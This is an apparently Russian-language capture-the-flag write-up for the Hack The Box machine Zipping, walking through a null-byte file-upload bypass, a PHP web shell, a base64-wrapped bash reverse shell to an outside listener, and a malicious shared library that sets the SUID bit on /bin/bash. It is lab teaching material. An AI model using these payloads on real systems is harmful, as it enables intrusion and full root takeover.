March 21

HTB Zipping. Используем инъекцию нулевого байта в ZIP-архиве, чтобы загрузить шелл

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Локальное повышение привилегий

Се­год­ня я покажу инте­рес­ную уяз­вимость при заг­рузке фай­ла на сер­вер. Мы исполь­зуем трюк с нулевым бай­том, который поз­волит обой­ти филь­тра­цию по рас­ширению фай­ла. Затем для повыше­ния при­виле­гий соз­дадим и заг­рузим собс­твен­ную биб­лиоте­ку для Linux.

На­ша цель — зах­ват рута на тре­ниро­воч­ной машине Zipping с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «сред­ний».

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.229 zipping.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Скрипт нашел два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 9.0p1;
  • 80 — веб‑сер­вер Apache 2.4.54.

Да­вай пос­мотрим, что нам покажет веб‑сер­вер.

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

Гу­ляя по стра­ницам сай­та, находим фор­му заг­рузки фай­лов, а это потен­циаль­ная точ­ка вхо­да.

Стра­ница upload.php

На стра­нице нам сооб­щают, что сер­вер ожи­дает заг­рузку ZIP-архвиа с фай­лом в фор­мате PDF. При заг­рузке такого архи­ва получа­ем ссыл­ку на заг­ружен­ный файл.

Ре­зуль­тат заг­рузки фай­ла

Заг­рузить что‑то иное не выш­ло. Неуда­чей окан­чива­ется и заг­рузка архи­ва, содер­жащего файл в дру­гом фор­мате.

Ошиб­ка заг­рузки фай­ла

Ин­терес­но, как веб сер­вер понима­ет, что архив содер­жит имен­но PDF. Опре­делять мож­но по по сиг­натуре, либо по рас­ширению фай­ла.

Зап­рос с заг­рузкой фай­ла в Burp Proxy

Что­бы опре­делить спо­соб филь­тра­ции, соз­дадим обыч­ный тек­сто­вый файл, но выс­тавим рас­ширение .pdf. Файл успешно заг­ружа­ется, зна­чит филь­тра­ция про­исхо­дит по рас­ширению.

Ре­зуль­тат заг­рузки фай­ла

На­ша цель — заг­рузить файл, который смог бы исполнять­ся веб‑сер­вером, нап­ример, скрипт на PHP. Мы мог­ли бы зап­росить его и выпол­нить содер­жимое. Что­бы сер­вер пра­виль­но его рас­познал, обя­затель­но задать рас­ширение .php, но оно не прой­дет мимо филь­тра. Что делать?

В таких слу­чаях помога­ет трюк с null-бай­том. Его смысл зак­люча­ется вот в чем. Меж­ду дву­мя рас­ширени­ями фай­ла встав­ляет­ся null-байт. Нап­ример, можем наз­вать файл test.php%00.txt. При про­вер­ке рас­ширения сер­вер про­чита­ет конец стро­ки и решит, что это тек­сто­вый файл. Но при заг­рузке фай­ла на сер­вер стро­ка пос­ле нулево­го бай­та будет отбро­шена, файл сох­ранит­ся с рас­ширени­ем .php, и мы смо­жем его запус­тить.

Итак, давай соз­дадим и заар­хивиру­ем файл test.txt-.pdf (соз­дать файл сра­зу с null-бай­том фай­ловая ОС нам не поз­волит). Отпра­вив зап­рос, про­веря­ем его в Burp Repeater. Здесь лег­ко выб­рать отправ­ленный файл и прос­мотреть через Inspector.

Зап­рос в Burp Repeater

В обе­их стро­ках test.txt-.pdf заменим сим­вол - на байт \0, сох­раним изме­нен­ные дан­ные и выпол­ним зап­рос.

Burp Inspector
От­вет сер­вера

Су­дя по сооб­щению, файл успешно заг­ружен, но при попыт­ке прос­мотреть его, что‑то идет не так.

Ре­зуль­тат зап­роса к заг­ружен­ному фай­лу

Да­вай поп­робу­ем заменить сим­вол - на байт \0 толь­ко во вто­ром слу­чае и пов­торим заг­рузку фай­ла.

Burp Inspector

Те­перь при обра­щении к фай­лу test.txt на сер­вере получа­ем его содер­жимое.

Ре­зуль­тат зап­роса к заг­ружен­ному фай­лу

Мы наш­ли спо­соб обхо­да про­вер­ки и можем залить на сер­вер веб‑шелл.

ТОЧКА ОПОРЫ

Бу­дем исполь­зовать прос­тей­ший шелл на PHP:

<?php system($_GET["c"]); ?>

Burp Inspector
Ре­зуль­тат заг­рузки фай­ла

Ког­да файл заг­ружен, обра­щаем­ся к шел­лу и выпол­няем коман­ду id, что­бы про­верить, что все работа­ет.

curl 'http://zipping.htb/uploads/633fe181aa160051ec44d0d1f2dfa3c6/s.php?c=id'

Ре­зуль­тат выпол­нения коман­ды id

Мы про­били сер­вер, но работать с таким шел­лом неудоб­но. Давай получим более ста­биль­ную обо­лоч­ку. В качес­тве лис­тенера будем исполь­зовать очень удоб­ный pwncat-cs:

pwncat-cs -lp 4321

Вот под­ходящий реверс‑шелл на Bash:

bash -i >& /dev/tcp/10.10.16.11/4321 0>&1

Од­нако прос­то передать его как параметр через адресную стро­ку у нас не получит­ся, поэто­му закоди­руем реверс‑шелл в Base64, а потом запус­тим на уда­лен­ном сер­вере, исполь­зуя вот такой кон­вей­ер команд:

echo <base64_reverse_shell> | base64 -d | bash

По­луча­ется вот такой зап­рос:

curl 'http://zipping.htb/uploads/633fe181aa160051ec44d0d1f2dfa3c6/s.php?c=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTEvNDMyMSAwPiYx%20|%20base64%20-d%20|%20bash'

Флаг поль­зовате­ля

Так мы получа­ем ста­биль­ную сес­сию и пер­вый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нуж­но соб­рать информа­цию о сис­теме. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в слу­чае с Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Лис­тенер pwncat-cs поз­воля­ет как ска­чивать, так и заг­ружать фай­лы. Ком­бинаци­ей кла­виш Ctrl-D выходим из сес­сии и набира­ем такую коман­ду:

upload linpeas.sh /tmp/linpeas.sh

Файл будет заг­ружен на сер­вер. Коман­дой back воз­вра­щаем­ся обратно в нашу сес­сию и запус­каем скрипт:

chmod +x /tmp/linpeas.sh

Да­дим скрип­ту пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции, но полез­ного мало. Уце­пить­ся мож­но толь­ко за нас­трой­ки sudoers.

Нас­трой­ки sudoers

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Здесь ука­зан файл /usr/bin/stock, а это зна­чит, что мы можем выпол­нить его от име­ни супер­поль­зовате­ля без авто­риза­ции. Одна­ко сам файл, сто­ит его запус­тить, зап­рашива­ет пароль.

Тес­товый запуск при­ложе­ния

Это не стан­дар­тный бинар­ник из Linux, поэто­му ска­чаем его на локаль­ный хост для ана­лиза.

<Ctrl>+D download /usr/bin/stock back

От­кры­ваем файл в любом деком­пилято­ре. Я обыч­но исполь­зую IDA Pro.

Ре­зуль­тат деком­пилиро­вания фун­кции main

По­лучив от поль­зовате­ля пароль, прог­рамма переда­ет его в фун­кцию checkAuth(стро­ки 53-58). Затем, если про­вер­ка прой­дена, закоди­рован­ная стро­ка в перемен­ной file рас­шифро­выва­ется в фун­кции XOR и переда­ется в фун­кцию dlopen (стро­ки 60-48). Так как фун­кция dlopen заг­ружа­ет динами­чес­кую биб­лиоте­ку, зашиф­рован­ные дан­ные — это путь к фай­лу биб­лиоте­ки. Перей­дем к фун­кции checkAuth, где получим пароль.

Ре­зуль­тат деком­пилиро­вания фун­кции checkAuth

Я решил не рас­шифро­вывать стро­ку, а прос­то запус­тить файл под перех­ватчи­ком сис­темных вызовов strace.

strace /usr/bin/stock

Ло­ги отладчи­ка strace

Пос­ле вво­да пароля получа­ем не толь­ко путь /home/rektsu/.config/libcounter.so к фай­лу биб­лиоте­ки, но и сооб­щение об ошиб­ке, что такого фай­ла не сущес­тву­ют. Это явный путь к повыше­нию при­виле­гий.

Со­дер­жимое катало­га /home/rektsu/.config/

Сде­лаем биб­лиоте­ку, которая при под­груз­ке исполня­емым фай­лом наз­начит S-бит фай­лу коман­дной обо­лоч­ки /bin/bash.

#include <stdlib.h> #include <unistd.h> static void lpe() __attribute__((constructor)); void lpe() { setuid(0); setgid(0); system("chmod u+s /bin/bash");}gcc -shared -o libcounter.so -fPIC libcounter.с sudo /usr/bin/stock

Экс­плу­ата­ция уяз­вимос­ти

Ког­да мы соз­дадим биб­лиоте­ку и выпол­ним при­ложе­ние, файл /bin/bash дол­жен получить S-бит, а зна­чит может быть запущен обыч­ным поль­зовате­лем от име­ни root с соот­ветс­тву­ющи­ми при­виле­гиями.

/bin/bash -p

Флаг рута

Ма­шина зах­вачена!